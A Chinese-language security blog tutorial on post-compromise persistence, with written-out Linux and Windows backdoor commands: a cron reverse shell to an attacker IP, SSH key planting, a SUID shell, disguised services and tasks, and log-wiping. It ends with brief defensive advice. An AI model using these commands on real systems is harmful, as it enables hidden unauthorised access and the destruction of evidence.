撤出之后如何“随时回来”?权限维持的5种姿势(第十一弹·权限维持篇)
你辛辛苦苦拿下了域控,结果第二天运维发现漏洞打了个补丁,你的Webshell被删了、账号被禁了——一切归零。
真相是:没有权限维持的渗透,等于“一次性参观券”。
全文约2100字,阅读约7分钟。今天教你如何在撤出之后,还能“随时回来”。
一、先讲一个真实故事:一个计划任务“潜伏”了427天
某大型企业的红蓝对抗演练中,蓝队(防守方)花了整整14个月才把红队的所有后门清理干净。
红队做了什么?很简单——他们在第一台失陷的Linux服务器上,写了一个每72小时执行一次的cron计划任务。任务内容是从一个隐蔽的GitHub仓库下载并执行一个反弹Shell脚本。
蓝队清理了Webshell、修补了漏洞、重置了密码——但漏掉了这个cron任务。14个月后,在一次季度巡检中才偶然发现。而这14个月里,红队随时可以“复活”。
这就是权限维持的威力:你不需要永远在线,只要留一把“后门钥匙”,想什么时候回来就什么时候回来。
二、权限维持到底是什么?说人话
官方定义:权限维持(Persistence)是指攻击者在成功获取系统访问权限后,采取一系列技术手段确保其能够在后续任意时间点重新获得对目标系统的控制权,即使在系统重启、补丁更新或账户密码变更后仍能保持访问能力。
说人话就是一句话:
给自己留一把“万能钥匙”,随时能再进来。
想象一下:你是一个小偷,撬开了银行金库的门(拿到了权限)。但你不可能一直待在金库里——你要撤走。撤走之前,你在金库的通风管道里藏了一把备用钥匙(后门)。下次你想来的时候,不用再撬门,直接掏钥匙进来就行。
有权限维持,你是“业主”;没有权限维持,你是“游客”。
三、Linux权限维持:7种姿势(从入门到“隐形”)
🔴 姿势一:计划任务后门(Cron)——最经典、最稳定
原理:利用Linux的cron定时任务,定期执行恶意脚本。
一句话后门:
bash
echo "*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/你的IP/端口 0>&1'" >> /etc/crontab
每10分钟反弹一次Shell,你随时都能连回来。
💡 高级玩法:把脚本存在
/dev/shm/(内存目录),重启就消失,但cron任务还在,脚本没了会自动重新下载。
🟠 姿势二:SSH免密登录——最“合法”的后门
原理:把自己的公钥写入目标服务器的~/.ssh/authorized_keys。
bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." >> ~/.ssh/authorized_keys
运维查日志只能看到“正常SSH登录”——完全合法,无法察觉。
💡 高级玩法:不只留
~/.ssh/authorized_keys,还要留一条SSH连接复用——~/.ssh/config里配置ControlMaster,即使换了公钥也能复用已建立的连接。
🟡 姿势三:SUID后门——“合法程序”藏玄机
原理:给一个常见系统命令(如find)设置SUID位,让它执行时拥有root权限。
bash
cp /bin/bash /bin/.hidden_bash chmod 4755 /bin/.hidden_bash
运行时:/bin/.hidden_bash -p→直接获得root shell。
运维看到的是“一个系统进程在运行”,根本不会起疑。
🟢 姿势四:PAM后门——SSH登录直接“偷密码”
原理:修改PAM(认证模块)文件,让SSH登录时把你的密码记录下来,同时还能正常登录系统。
这是顶级后门——你连系统都不用进去,每次有人SSH登录,密码就自动发到你的邮箱或日志文件里。
🔵 姿势五:内核模块后门(LKM)——最隐蔽、最难查
原理:加载一个恶意内核模块(LKM),在内核层面隐藏进程、文件、网络连接。
你开着后门,netstat看不到、ps看不到、ls看不到——就好像“隐身”一样。
防御方想查你?必须重启系统或者拆机取证。
🟣 姿势六:inotify后门——文件变化自动触发的潜伏者
原理:利用inotify机制监控文件变化,一旦有文件变化就触发执行恶意代码。
比如监控/etc/passwd——只要有人修改密码文件,你就弹一个Shell。
🟤 姿势七:日志清理与痕迹消除——后门的第一守护者
核心命令:history -c清当前记录,unset HISTFILE禁止后续记录,sed -i '/可疑IP/d' /var/log/auth.log删除登录日志。最后记得清理~/.bash_history,让运维复查时什么都找不到。
四、Windows权限维持:5种姿势(从入门到“影分身”)
🔴 姿势一:自启动项(Startup Folder)——最简单的“复活甲”
原理:把恶意程序放在“启动”文件夹,用户每次登录都会自动执行。
路径:
用户级:
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\系统级:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
只要放一个exe进去,每次开机自动上线。
🟠 姿势二:注册表自启动——最经典的“开机自启”
原理:在注册表的特定键值下写入恶意程序路径。
三个最常用的位置:
text
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Run和RunOnce的区别:Run是每次开机都运行,RunOnce是只在下次重启时运行一次,适合“一次性潜伏”场景。
🟡 姿势三:Windows服务后门——最“正规”的伪装
原理:创建一个系统服务,伪装成系统组件,开机自动启动。
用sc命令创建:
cmd
sc create "WindowsUpdateService" binPath= "C:\Windows\Temp\backdoor.exe" start= auto
运维在服务列表里看到的,是一个叫“WindowsUpdate”的服务,谁会怀疑?
🟢 姿势四:计划任务后门——最灵活的定时器
原理:和Linux的cron一样,创建计划任务定期执行。
cmd
schtasks /create /tn "系统维护" /tr C:\Windows\Temp\backdoor.exe /sc daily /st 02:00
每天凌晨2点执行,你睡醒就有Shell。
🔵 姿势五:WMI(Windows Management Instrumentation)后门——最隐蔽的“无文件攻击”
原理:通过WMI在系统里注册一个永久事件监听器,不写文件、不写注册表、只在内存里运行。
powershell
# 创建永久WMI事件监听器 Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_ProcessStartup'" -Action { 反弹Shell代码 }杀毒软件扫不到、运维肉眼查不到、重启后自动恢复——只有内存取证才能发现。
五、红队的“终极奥义”:三层后门体系
| 层级 | 形式 | 特点 |
|---|---|---|
| 表层后门 | WebShell、自启动项 | 容易被发现,用于第一波进入 |
| 中层后门 | 计划任务、服务、注册表 | 有一定隐蔽性,清理需要一定技术 |
| 深层后门 | LKM、PAM后门、WMI永久事件 | 极难发现,需要专业工具和深入分析 |
高手从不只留一个后门——他们会留一套“后门体系”。你清理了WebShell(表层),我还有计划任务(中层)在10分钟后重建它;你清理了计划任务(中层),我还有WMI(深层)在5分钟后重建计划任务。
六、怎么防?给防御方的3条核心建议
① 基线监控:对比系统服务的“黄金镜像”,任何偏离基线的新增服务、任务、启动项都要告警。
② 日志审计:重点关注/var/log/auth.log和Windows安全日志4624、4672事件中的非正常时间登录行为。
③ 终端检测与响应(EDR):现代EDR能检测内存中的恶意行为和异常进程链——传统杀毒软件防不住的后门,EDR可以。
七、学习资源包
🎯 推荐靶场:VulnHub的FRISTILEAKS、Mr-Robot涉及多种权限维持手法,以及TryHackMe的Persistence专项房间。
📚 推荐阅读:FreeBuf搜索“权限维持”标签大量实战案例,以及《红队之道:持久化访问技术手册》。
🛠️ 必装工具:Linux下用chkrootkit/rkhunter检测后门,Windows下用Autoruns、TCPView排查自启动。
写在最后
SQL注入是“进门”,文件上传是“送武器”,提权是“夺权”,横向移动是“攻城略地”——权限维持是“修建永久工事”。
没有权限维持,你的一切努力都是“一次性”的。有了权限维持,你的每一次渗透,都在为下一次渗透积累“资本”。
今天这篇文章,我带你从Linux到Windows,从表层后门到深层后门走了一遍。
真正的渗透高手,不是“能进来”,而是“想什么时候进来,就什么时候进来”。
—— 手把手带你上路的网安教练
📌下一期预告:第十二弹·结束也是开始——《从0到1,如何用6个月找到你的第一份网络安全工作?》。这个系列到今天就暂时告一段落了,最后一篇送你一份完整的求职实战地图,记得来看。